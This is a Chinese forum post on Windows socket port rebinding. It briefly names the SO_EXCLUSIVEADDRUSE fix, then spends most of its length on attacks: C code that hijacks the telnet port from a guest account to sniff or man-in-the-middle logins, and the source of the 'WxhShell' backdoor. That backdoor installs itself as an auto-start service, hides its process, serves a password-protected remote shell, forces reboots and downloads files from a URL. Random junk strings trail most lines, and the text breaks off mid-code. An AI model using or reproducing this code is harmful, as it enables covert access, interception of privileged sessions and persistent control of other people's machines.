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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: #o7)eKeQ  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ! |UX4  
X^K^az&L  
  saddr.sin_family = AF_INET; /t`\b [  
cz{`'VN}`  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); {\CWoFht>  
&)gc{(4$  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); "lLh#W1d  
n6+h;+8;]  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 V7r_Ubg@K  
JJ%@m;~  
  这意味着什么?意味着可以进行如下的攻击: CbC [aVA=  
1[8^JVC>6  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 i?;#Z Nh  
s)`(@"{  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) bxtH`^  
u}|v;:|j  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 #v<`|_  
"YY<T&n  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  v_Sa0}K9  
",D!8>=s  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 CuvY^["  
!'p<Kh[i  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 @uCi0Pt  
Tx!t3;Yz[  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 A|S)cr8z  
6p*X8j3pW  
  #include rDhQ3iCqo  
  #include c:u*-lYmK%  
  #include eZqEFMBTm  
  #include    `Wg"m~l$N  
  DWORD WINAPI ClientThread(LPVOID lpParam);   _,)_(R ,h  
  int main() ( _6j@?u  
  { GDSXBa*7  
  WORD wVersionRequested; +pwTM]bV  
  DWORD ret; H-+U^@w  
  WSADATA wsaData; fmj}NV&ma  
  BOOL val; 4 ZnQpKg  
  SOCKADDR_IN saddr; WA~[) S0  
  SOCKADDR_IN scaddr; |+W{c`KL  
  int err; -X!<$<\y;  
  SOCKET s; ;!A8A4~nu  
  SOCKET sc; t;6<k7h  
  int caddsize; "aF2:E'  
  HANDLE mt; F |BY]{  
  DWORD tid;   bs?\ )R5/  
  wVersionRequested = MAKEWORD( 2, 2 ); `G1"&q,i  
  err = WSAStartup( wVersionRequested, &wsaData ); 8wvHg_U6W  
  if ( err != 0 ) { o>C,Db~L/  
  printf("error!WSAStartup failed!\n"); 2HmK['(  
  return -1; m~AAO{\:b  
  } V [g^R*b  
  saddr.sin_family = AF_INET; j8p<HE51  
   ;_c&J&I  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 =VzJ>!0  
j \jMN*dmV  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); |ymW0gh7o$  
  saddr.sin_port = htons(23); r9WR1&T)  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) '`2'<^yO  
  { :_6o|9J\t  
  printf("error!socket failed!\n"); ,"is%O.  
  return -1; PL{lYexJ  
  } ?D _4KFr  
  val = TRUE; hdx_Tduue  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 N=Ct3  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) `e<IO_cg  
  { #$xtUCqX  
  printf("error!setsockopt failed!\n"); slPr^)  
  return -1; ~6n|GxR.[  
  } PiM(QR  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 5?SE?VC=t  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 2|lR@L sr  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 zPp22  
v4s4D1}  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) bWp:!w#K  
  { H`)eT6:|/  
  ret=GetLastError(); ^3$U[u%q/{  
  printf("error!bind failed!\n"); a<q9~QS  
  return -1; ,--#3+]XU  
  } f}(4v1 T  
  listen(s,2); eLPtdP5k  
  while(1) IC'+{3.m8  
  { p-{ 4 $W  
  caddsize = sizeof(scaddr); d9:I.SA)E  
  //接受连接请求 S1Y,5,}  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); H 4 ELIF#@  
  if(sc!=INVALID_SOCKET) jyW={%&  
  { pJ}U'*Z2  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); l+F29_o#  
  if(mt==NULL) 3-hcKE  
  { >y#MEN>?  
  printf("Thread Creat Failed!\n"); STjb2t,a  
  break; %C,zR&]F  
  } J{dO0!7y  
  } xjbI1qCfe  
  CloseHandle(mt); 9 nc_$H{  
  } H"? 5]!p  
  closesocket(s); #;a+)~3*O  
  WSACleanup(); hzr, %r  
  return 0; wi7Br&bGi  
  }   #~-Xt! I  
  DWORD WINAPI ClientThread(LPVOID lpParam) ; X+tCkzF  
  { e8> X5  
  SOCKET ss = (SOCKET)lpParam; 8A&N+sT  
  SOCKET sc; j[:70%X  
  unsigned char buf[4096]; C] mp <  
  SOCKADDR_IN saddr; i=#\`"/  
  long num; BedL `[ ,  
  DWORD val; WLXt@dK*u  
  DWORD ret; "rLm)$I  
  //如果是隐藏端口应用的话,可以在此处加一些判断 siCi+Y  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   v\6.#>NQ  
  saddr.sin_family = AF_INET; GBb8 }lx  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); J' P:SC1  
  saddr.sin_port = htons(23); 'XKfKv >;  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) A"M;kzAfHM  
  { z_xy*Iif  
  printf("error!socket failed!\n"); qzxWv5UH  
  return -1; 5A`>3w{3n  
  } k8}fKVU;  
  val = 100; ASoBa&vX  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) p1niS:}j  
  { W?zj^y[w  
  ret = GetLastError(); j:1N&7<FU  
  return -1; 02;'"EmP$  
  } Tdh.U {Nz  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >l)x~Bkf$j  
  { ;~:Z~8+{c  
  ret = GetLastError(); ,^c-}`!K  
  return -1; Uz_ob9l<#H  
  } D.{vuftu  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) qbq2Bi'a  
  { HLDv{G'7  
  printf("error!socket connect failed!\n"); 8/R$}b><  
  closesocket(sc); P{K\}+9F   
  closesocket(ss); 5 ,MM`:{{  
  return -1; [rcM32  
  } :!Q(v(M  
  while(1) Xk%eU>d  
  { vo }4N[]Sb  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Kn$E{F\  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 <`SA >P  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 P??P"^hU  
  num = recv(ss,buf,4096,0); Vbp@n  
  if(num>0) }|Q\@3&  
  send(sc,buf,num,0); n%36a(] t  
  else if(num==0) <(Ar[Rp  
  break; U~yPQ8jD  
  num = recv(sc,buf,4096,0); 5g-1pzP9  
  if(num>0) ],!}&#|  
  send(ss,buf,num,0); h& 4#5{=  
  else if(num==0) ZK t{3P  
  break; B]yO  
  } +76ao7d.  
  closesocket(ss); $bMmyDw  
  closesocket(sc); [^a7l$fmi  
  return 0 ; #B?lU"f8q^  
  } Adiw@q1&  
ECL{`m(#n  
'@KH@~OzRS  
========================================================== Dj=$Q44  
3'L =S  
下边附上一个代码,,WXhSHELL :dipk,b?n  
mm#UaEp  
========================================================== |4/rVj"  
:yJ#yad  
#include "stdafx.h" 3<)][<Ud  
(bI/s'?K  
#include <stdio.h> Fg p|gw4  
#include <string.h> u{uqK7]+  
#include <windows.h> \25EI]  
#include <winsock2.h> :&&s*_  
#include <winsvc.h> VgbT/v  
#include <urlmon.h> GBS+ 4xL|  
oc-&}R4=  
#pragma comment (lib, "Ws2_32.lib") GJU(1%-  
#pragma comment (lib, "urlmon.lib") imM#zy  
9f& !Uw_W  
#define MAX_USER   100 // 最大客户端连接数 X*7VDt=  
#define BUF_SOCK   200 // sock buffer &$T7eOiZ  
#define KEY_BUFF   255 // 输入 buffer :/PxfN5  
_8PNMbv{  
#define REBOOT     0   // 重启 "+O/OKfR0  
#define SHUTDOWN   1   // 关机 _Ad63.Uq))  
h]i vXF*  
#define DEF_PORT   5000 // 监听端口 GK6~~ga=  
@||nd,i`n~  
#define REG_LEN     16   // 注册表键长度 N@X6Z!EO  
#define SVC_LEN     80   // NT服务名长度 It2:2  
{C]tS5$Z  
// 从dll定义API ib> ~3s;  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); TT;ls<(Lg  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 9k9}57m.i  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); p {. 6  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); fbdpDVmpU  
I4qS8~+#  
// wxhshell配置信息 .P5' \  
struct WSCFG { '"Uhw$#t  
  int ws_port;         // 监听端口 $P8AU81  
  char ws_passstr[REG_LEN]; // 口令 <M5fk?n,|  
  int ws_autoins;       // 安装标记, 1=yes 0=no w?*79 u  
  char ws_regname[REG_LEN]; // 注册表键名 4k{xo~+%,  
  char ws_svcname[REG_LEN]; // 服务名  Uv<nJM  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 _@)-#7  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 b O}&i3.L;  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 k]-Q3 V  
int ws_downexe;       // 下载执行标记, 1=yes 0=no _I,GH{lhI  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" l%0-W  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 c*<BU6y  
uTO%O}D N  
}; M;AvOk|&  
pIpdVKen  
// default Wxhshell configuration )iC@n8f7o  
struct WSCFG wscfg={DEF_PORT, m%;LJ~R  
    "xuhuanlingzhe", Z"Q9^;0%  
    1, x@)cj  
    "Wxhshell", !H)!b#_  
    "Wxhshell", 1n6%EC|X  
            "WxhShell Service", Z{ 9Io/  
    "Wrsky Windows CmdShell Service", ($UUgjv F  
    "Please Input Your Password: ", Wzff p}V  
  1, "Il) _Ui  
  "http://www.wrsky.com/wxhshell.exe", LtUw  
  "Wxhshell.exe" q!><:"#[G  
    }; 5mL4Zq"  
G<rAM+B*g  
// 消息定义模块 dqgr98  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &+hk5?c /  
char *msg_ws_prompt="\n\r? for help\n\r#>"; fpO2bD%$8  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; l  LBzY`j  
char *msg_ws_ext="\n\rExit."; G|t0no\f  
char *msg_ws_end="\n\rQuit."; H<nA*Zf2@R  
char *msg_ws_boot="\n\rReboot..."; XN\rq=  
char *msg_ws_poff="\n\rShutdown..."; 23ho uS   
char *msg_ws_down="\n\rSave to "; ei}(jlQp  
^)`e}}  
char *msg_ws_err="\n\rErr!"; Ed_Fx'  
char *msg_ws_ok="\n\rOK!"; 5~[][VV^  
F]N?_ bo  
char ExeFile[MAX_PATH]; \?Xoa"^  
int nUser = 0; ,|#biT-<T  
HANDLE handles[MAX_USER]; m9 c`"!  
int OsIsNt; $Dv5TUKw  
,j(E>g3  
SERVICE_STATUS       serviceStatus; ]w4?OK(j  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; >s.y1Vg~C  
CZy3]O"qW  
// 函数声明 tK#/S+l  
int Install(void); '4M;;sKW  
int Uninstall(void); E 8$S0u;`  
int DownloadFile(char *sURL, SOCKET wsh); y5^OD63s  
int Boot(int flag); &b%2Jx[+  
void HideProc(void); {C8IYBm  
int GetOsVer(void); pP"j|  
int Wxhshell(SOCKET wsl); j]-_kjt  
void TalkWithClient(void *cs); P_p\OK*l]o  
int CmdShell(SOCKET sock);  -V"W  
int StartFromService(void); |v#D}E  
int StartWxhshell(LPSTR lpCmdLine); !N][W#:  
+.rOqkxJ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); k3Puq1H  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @li/Y6Wh  
{z;K0  
// 数据结构和表定义 0#m=76[b  
SERVICE_TABLE_ENTRY DispatchTable[] = E*,nKJu'r  
{ 6u`$a&dR'l  
{wscfg.ws_svcname, NTServiceMain}, A |U0e`Iw  
{NULL, NULL} *.1#+h/]3  
}; 8`1]#Vw  
xwwL  
// 自我安装 (KPD`l8.  
int Install(void) Z?&ZgaSz  
{ /m^G 99N  
  char svExeFile[MAX_PATH]; :}#j-ZCC"  
  HKEY key; xDS]k]/(T  
  strcpy(svExeFile,ExeFile); Z@*!0~NH=4  
3'0Jn6(  
// 如果是win9x系统,修改注册表设为自启动 tef>Py  
if(!OsIsNt) { +nB0O/m'U  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { RHbbj}B  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x]R0zol  
  RegCloseKey(key); ]!jfrj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {(t R<z)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /9Qr1@&v  
  RegCloseKey(key); ]HXHz(?;F  
  return 0; Oc.8d<  
    } FGm!|iI  
  } UV{})T*s  
} ) jM-5}"  
else { >r}?v3QW  
.*W7Z8!e  
// 如果是NT以上系统,安装为系统服务 Cy5iEI#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); J!3;\  
if (schSCManager!=0) hl)jE 06  
{ XW^Pz (  
  SC_HANDLE schService = CreateService _[l&{,  
  ( Z>X]'q03  
  schSCManager, uz20pun4B  
  wscfg.ws_svcname, z_A\\  
  wscfg.ws_svcdisp, bTAY5\wB  
  SERVICE_ALL_ACCESS, ,C_MB1u  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,K30.E  
  SERVICE_AUTO_START, OJM2t`}_t  
  SERVICE_ERROR_NORMAL, &5B/>ag1!  
  svExeFile,  (wxi!  
  NULL, n!Y}D:6c6  
  NULL, xbHI 4A"Z  
  NULL, hKnV=Ha(  
  NULL, !tx.2m*5  
  NULL gv(MX ;B#  
  ); bwszfPM  
  if (schService!=0) 4/ q BD  
  { +Oo-8f*  
  CloseServiceHandle(schService); ;'[?H0Jw'  
  CloseServiceHandle(schSCManager); y~M 6  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +Ll29Buyi  
  strcat(svExeFile,wscfg.ws_svcname); M[-/&;`f@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { bB*cd!7y  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); g]BA/Dw  
  RegCloseKey(key); nT}i&t!q8@  
  return 0; Q{miI N  
    } v5?ct?q  
  } P"@^BQ4  
  CloseServiceHandle(schSCManager); TXs&*\  
} uI9+@oV  
} hew"p(`  
z  fy(j  
return 1; 9d=\BBNZ  
} G_ ~qk/7mF  
9Gx`[{wI9<  
// 自我卸载 ?hURNlR_Q  
int Uninstall(void) *7L1SjZw  
{ ]xJ. OUJy  
  HKEY key; "kIlxf3  
+<B"g{dLuX  
if(!OsIsNt) { 4((p?jb C  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {Dy,u%W?  
  RegDeleteValue(key,wscfg.ws_regname); N\?__WlBK7  
  RegCloseKey(key); 0Xn,q]@Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { pDhUD}1G  
  RegDeleteValue(key,wscfg.ws_regname); ^bdXzjf  
  RegCloseKey(key); N{M25ucAHl  
  return 0; dAOJ: @y  
  } Kf,AnKkn'  
} ^\yz`b(A0  
} ?Ho>  
else { EyBTja(4  
3mg:9]X9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [?$tu%Q(Z  
if (schSCManager!=0) X V)ctF4  
{ K,*z8@  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); CqU^bVs  
  if (schService!=0) :n%&  
  { $_\x}`c~.  
  if(DeleteService(schService)!=0) { \E05qk_;K  
  CloseServiceHandle(schService); tk:G6Bkid  
  CloseServiceHandle(schSCManager); Bc b '4*:  
  return 0; qamq9F$V  
  } M}=>~TA@  
  CloseServiceHandle(schService); !g#y$  
  } KhL%ov  
  CloseServiceHandle(schSCManager); }"kF<gG1  
} D& &71X '  
} q$K}Fm1C  
qHd7C3  
return 1; 'coY`B; 8  
} 3RFU  
53bVhPGv  
// 从指定url下载文件 giesof  
int DownloadFile(char *sURL, SOCKET wsh) G)o:R iq  
{ 5EECr \*  
  HRESULT hr; UDgX A  
char seps[]= "/"; @zLyG#kHY  
char *token; N!-P2)@  
char *file; :6o|6MC!  
char myURL[MAX_PATH]; 7$IR^  
char myFILE[MAX_PATH]; rc"8N<D  
WHU l.h  
strcpy(myURL,sURL); "\5 T  6  
  token=strtok(myURL,seps); GsiKL4|mj  
  while(token!=NULL) h1f 05  
  { j|XL$Q  
    file=token; -q? ,  
  token=strtok(NULL,seps); ]kO|kIs  
  } VAqZ`y  
.}(X19R  
GetCurrentDirectory(MAX_PATH,myFILE); 3h A5"G+7  
strcat(myFILE, "\\"); #n|eq{fkK  
strcat(myFILE, file); h$%h w+"4  
  send(wsh,myFILE,strlen(myFILE),0); n+2>jY  
send(wsh,"...",3,0); 'tX}6wurf  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); mSk";UCn  
  if(hr==S_OK) 8-@H zS%  
return 0; Q DKY7"H  
else 4<f^/!9w  
return 1; g\iSc~%?  
Lnq CHe  
} )FfS7 C\.  
=gZA9@]W2  
// 系统电源模块 M<Dvhy[  
int Boot(int flag) N]\)Ok  
{ r!|h3*YA  
  HANDLE hToken; Ip *8R]W  
  TOKEN_PRIVILEGES tkp; Pw6%,?lQ  
7m:TY>{  
  if(OsIsNt) { {7_C|z:'p&  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &78lep  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); -uhVw_qq#  
    tkp.PrivilegeCount = 1; .VohW=D3  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; |M18/{  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); QpS7 nGev  
if(flag==REBOOT) { jI<_(T  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {*<%6?  
  return 0; 82o|(pw  
} sNMF(TY  
else { S?c<Lf~W  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) f=7[GZoDn  
  return 0; ,8!'jE[d  
} = U[$i"+  
  } S/YHT)0x[  
  else { ^nDa-J$  
if(flag==REBOOT) { UoSc<h|  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 7d+0'3%  
  return 0; VAe[x `  
} N0 mh gEA  
else { <KI>:@|Sc  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :EH>&vm  
  return 0; us.IdG  
} :X}Ie P  
} kX)*:~*  
0+.<BOcW5  
return 1; Xc~BHEp  
} n_wF_K\h  
7c6- o"A  
// win9x进程隐藏模块 )lJi7 ^,  
void HideProc(void) o5m] Gqa  
{ 'Axe:8LA'  
t5P8?q\  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); f6PYB&<1  
  if ( hKernel != NULL ) J.O{+{&cd  
  { KJs`[,;<  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Kb'4W-&u!  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +HgyM0LFg  
    FreeLibrary(hKernel); %Z-xh< &  
  } u 7 <VD  
*uKYrs [  
return; u_FN'p=.  
} {]dvzoE]  
!"'6$"U\K  
// 获取操作系统版本 t oM+Bd:Y  
int GetOsVer(void) [lu+"V,<LJ  
{ X}ihYM3y/  
  OSVERSIONINFO winfo; U_Q;WPJ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); cxx8I  
  GetVersionEx(&winfo); - Nt8'-  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) D<WGau2H  
  return 1; {CFy %  
  else (Bv~6tj~J  
  return 0; gtqtFrleG  
} S@TfZ3Go|  
<Ynrw4[)t  
// 客户端句柄模块 ~n(LBA  
int Wxhshell(SOCKET wsl) 0r?]b*IEK  
{ I$XwM  
  SOCKET wsh; Tl+PRR6D*  
  struct sockaddr_in client; `P$X`;SwE  
  DWORD myID; Fzn !  
0<^Q j.(9  
  while(nUser<MAX_USER) Vo|[Z)MO`  
{ 6uX,J(V,  
  int nSize=sizeof(client); 64^l/D(  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7loWqZ  
  if(wsh==INVALID_SOCKET) return 1; V6kDyl(  
ID<[=es6  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); KTeR;6oZn"  
if(handles[nUser]==0) k`s_31<  
  closesocket(wsh); 0n={Mb  
else Z>dvth  
  nUser++; r"t,/@`n  
  } bw!*=<  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `(6cRT`Wp  
h8;H<Y;yQ  
  return 0; 7|o}m}yVx  
} *?>52 -&b  
ih |&q  
// 关闭 socket ,vBB". LY'  
void CloseIt(SOCKET wsh) zz8NBO  
{ z(#dL>d$'  
closesocket(wsh); n;~'W*Ln0  
nUser--; Qo*OC 9E`  
ExitThread(0); s{42_O?,c  
} nB/`~_9  
o>&-B.zq  
// 客户端请求句柄 +6n\5+5  
void TalkWithClient(void *cs) iP1yy5T  
{ H29vuGQjq  
6_:KFqc W  
  SOCKET wsh=(SOCKET)cs; w{4#Q[  
  char pwd[SVC_LEN]; iRM ?_|  
  char cmd[KEY_BUFF]; Digx#'#jf  
char chr[1]; %/SHB  
int i,j; v+( P4f S  
p4 $4;)  
  while (nUser < MAX_USER) { m @)Ya*=<  
=GiN~$d  
if(wscfg.ws_passstr) { phwBil-vUU  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Fc|N6I'o  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #eF k  
  //ZeroMemory(pwd,KEY_BUFF); #T8PgmR  
      i=0; $&i8/pD  
  while(i<SVC_LEN) { omT^jh  
):n'B` f}z  
  // 设置超时 Pjq()\/[Z  
  fd_set FdRead; c(!pcB8  
  struct timeval TimeOut; 6QNZ/Ox:  
  FD_ZERO(&FdRead); q 2;CvoF  
  FD_SET(wsh,&FdRead); .k%/JF91n  
  TimeOut.tv_sec=8; 98vn"=3  
  TimeOut.tv_usec=0; o)'06FF\$  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); D4?cnwU  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); JM53sx4&  
v"<M ~9T)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H8m[:K]_H  
  pwd=chr[0]; R{6M(!x  
  if(chr[0]==0xd || chr[0]==0xa) { } V"A;5j`  
  pwd=0; WE+Szg(4x  
  break; [}}q/7Lp  
  } c@KNyBy2  
  i++; >GmO8dK  
    } &4*f28 s  
<y#@v  G  
  // 如果是非法用户,关闭 socket N37CAbw0  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); J6@RIia  
} rmdg~  
fVi[mH0=+  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 48{B}j%oU  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z9v70 q  
vOl3utu7  
while(1) { 2Tv W 6  
//bQD>NBO  
  ZeroMemory(cmd,KEY_BUFF); Fw^^sB  
b27t-p8  
      // 自动支持客户端 telnet标准   )r(e\_n  
  j=0; s~c cx"HH  
  while(j<KEY_BUFF) { KbH|'/w  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6B}V{2  
  cmd[j]=chr[0]; G}aM~,v  
  if(chr[0]==0xa || chr[0]==0xd) { X<f4X"y  
  cmd[j]=0; Ty*+?#`  
  break; n} ]gAX  
  } hb>uHUb&  
  j++; m]}EVa_I`/  
    } pezfB{x?  
{J/+KK  
  // 下载文件 7'ws: #pC  
  if(strstr(cmd,"http://")) { OUN"'p%%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); yvnvIy  
  if(DownloadFile(cmd,wsh)) !P6?nS  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); m &[(xVM  
  else q3|SZoN  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {yMkd4v  
  } "S>VqvH3  
  else { ;R3o$ZlY  
j_b/66JyN  
    switch(cmd[0]) { Zj0h0Vt  
  7>EMr}f C  
  // 帮助 rAD4}A_w  
  case '?': { ('.I)n  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8[a N5M]  
    break; Ft_g~]kZo  
  } FR\r/+n:t0  
  // 安装 _j~y;R)  
  case 'i': { !|cM<}TF,  
    if(Install()) :\%hv>}|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B|=S-5pv*  
    else ppeF,Q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V2g"5nYT  
    break; \\Z?v,XsS  
    } }$* z:E  
  // 卸载 Q_*.1L  
  case 'r': { [lz H%0 V  
    if(Uninstall()) AR g]GV/L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |Vp ?  
    else `*]r+J2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zY].ZS=7  
    break; !.O;SG  
    } %PPkT]~\  
  // 显示 wxhshell 所在路径 2Ic)]6z R  
  case 'p': { CYM>4C~>JW  
    char svExeFile[MAX_PATH]; e'fo^XQn[  
    strcpy(svExeFile,"\n\r"); 6 I43a1[s  
      strcat(svExeFile,ExeFile); cq/@ng*o  
        send(wsh,svExeFile,strlen(svExeFile),0); q^L"@Q5;  
    break; o ,8;=f,7  
    } BM87f:d  
  // 重启 Xod/GY G  
  case 'b': { Q{ { =  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); A^4#6],%v  
    if(Boot(REBOOT)) s1X?]A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f^Q)lIv  
    else {  p.,`3"C1  
    closesocket(wsh); J~N!. i  
    ExitThread(0); MI`<U:-lP  
    } 1b@]^Ue  
    break; [5GzY`/m  
    } dX-j3lM:#  
  // 关机 FQ/z,it_i  
